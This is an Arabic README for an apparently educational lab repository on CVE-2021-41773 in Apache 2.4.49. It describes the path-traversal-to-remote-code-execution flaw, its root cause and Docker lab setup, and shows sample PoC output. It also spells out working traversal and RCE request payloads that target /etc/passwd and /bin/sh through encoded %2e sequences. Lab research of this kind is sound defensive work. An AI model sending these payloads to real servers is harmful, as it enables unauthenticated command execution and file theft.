
تحليل شامل لـ CVE-2021-41773 (خادم Apache HTTP الإصدار 2.4.49)، يتضمن بحثًا في الثغرات الأمنية، واستغلالًا مختبريًا خاضعًا للتحكم، وتطوير دليل إثبات المفهوم، وتحليل السبب الجذري، واستراتيجيات التخفيف للأغراض التعليمية والدفاعية في مجال الأمن.
مشروع بحثي تعليمي. تم إجراء جميع الاختبارات في معمل Docker معزول. لا تستخدمه ضد أي نظام لا تملكه.
| الحقل | التفاصيل |
|---|---|
| CVE ID | CVE-2021-41773 |
| البرنامج المتأثر | Apache HTTP Server 2.4.49 فقط |
| نوع الثغرة | اجتياز المسار → تنفيذ الأوامر عن بعد |
| درجة CVSS | 9.8 (حرجة) |
| تم الكشف عنها | أكتوبر 2021 |
| تم الإصلاح في | Apache 2.4.51 |
يفشل Apache 2.4.49 في تطبيع تسلسلات المسارات المشفرة بعناوين URL (%2e%2e) بشكل صحيح قبل تطبيق قواعد التحكم في الوصول. يسمح هذا للمهاجم بتجاوز جذر الويب. عندما يتم تمكين CGI، فإن توجيه الاجتياز إلى /bin/sh وتوفير أوامر الصدفة عبر نص POST يؤدي إلى تنفيذ الأوامر عن بعد دون مصادقة.
cve-2021-41773-poc/
├── Dockerfile # حاوية Apache 2.4.49 ضعيفة عمدًا للمعمل
├── exploit.py # PoC بلغة بايثون — يستخدم مآخذ خام للحفاظ على ترميز %2e
├── SETUP.md # دليل إعداد المعمل خطوة بخطوة
├── README.md # هذا الملف
└── report.pdf # تقرير تطوير الاستغلال الكامل
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200
[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place
[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon
[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7
راجع SETUP.md للحصول على تعليمات الإعداد الكاملة واستكشاف الأخطاء وإصلاحها.
تقوم مكتبة requests بتطبيع %2e → . قبل الإرسال، مما يعطل الاستغلال (يعيد 400). يستخدم هذا PoC مآخذ خام لإرسال طلب HTTP بايتًا بايت، مع الحفاظ على تسلسل الاجتياز المشفر تمامًا كما يحتاج Apache 2.4.49 لاستقباله.
حمولة اجتياز المسار:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
حمولة RCE:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
يفشل Apache في فك تشفير %2e%2e قبل فحوصات ACL، ويعالج الطلب، ويوجهه عبر CGI، وينفذ نص POST كأمر صدفة.
Require all granted على /Abdur Rehman Siddiqui
تطوير الاستغلال — المهمة 3
هذا المستودع لأغراض تعليمية فقط. المؤلف غير مسؤول عن أي إساءة استخدام لهذه المادة.